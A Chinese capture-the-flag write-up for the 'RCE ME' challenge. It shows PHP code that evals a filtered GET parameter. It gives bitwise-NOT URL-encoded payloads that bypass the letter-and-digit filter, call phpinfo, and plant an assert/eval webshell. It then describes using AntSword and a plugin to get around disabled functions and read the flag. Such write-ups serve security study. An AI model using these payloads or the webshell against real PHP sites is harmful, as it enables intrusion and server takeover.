[极客大挑战 2019]RCE ME1

开门见山看到代码,一个rce类型的题目。代码如下:

<?php
error_reporting(0);
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(strlen($code)>40){
        die("This is too Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

// ?>

分析代码得到一个code参数接受get传进的值,code接受的值的长度不能大于40,并且code传入的值中不能存在字母和数字。这里先用取反来做吧。

传入一个取反后的url编码再加上一个取反,这样就是传入的那个未取反的值。例如:phpinfo这个吧,$a=urlencode(~'phpinfo');  那么在我们传入code时,应该是code=(~$a)();  这样我们传入的code参数在经过解码便会变成了phpinfo,又因为我们(~$a)后还拼接了(),所以是phpinfo(); (这个在php7之前是不行的)。上里的$a应该是下面得出的。

传入code=(~%8F%97%8F%96%91%99%90)();可以看到命令执行成功

那么既然phpinfo可以执行成功,查找一下flag没有发现,没有发现没关系还可以利用这个进行一句话木马上传,先看一下禁用函数,发现禁用了很多命令函数

可以利用assert函数,来实现一句话木马

传入code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

测试成功,可以用蚁剑来连接,连接成功

flag文件打开是空白的看不到flag,因为前面在phpinfo中看到了有许多禁用函数,所以我们需要借助蚁剑的插件来绕过,蚁剑插件市场有个插件,由于disable_functions的存在我们不能说直接读取flag,需要借助readflag来读取

选中模式,开始

在终端中输入命令通过/readflag获得flag

参考文章:

https://www.cnblogs.com/yunqian2017/p/13308599.html

https://fanygit.github.io/2021/04/22/[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]RCE%20ME%201/

[极客大挑战 2019]RCE ME 1-CSDN博客

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值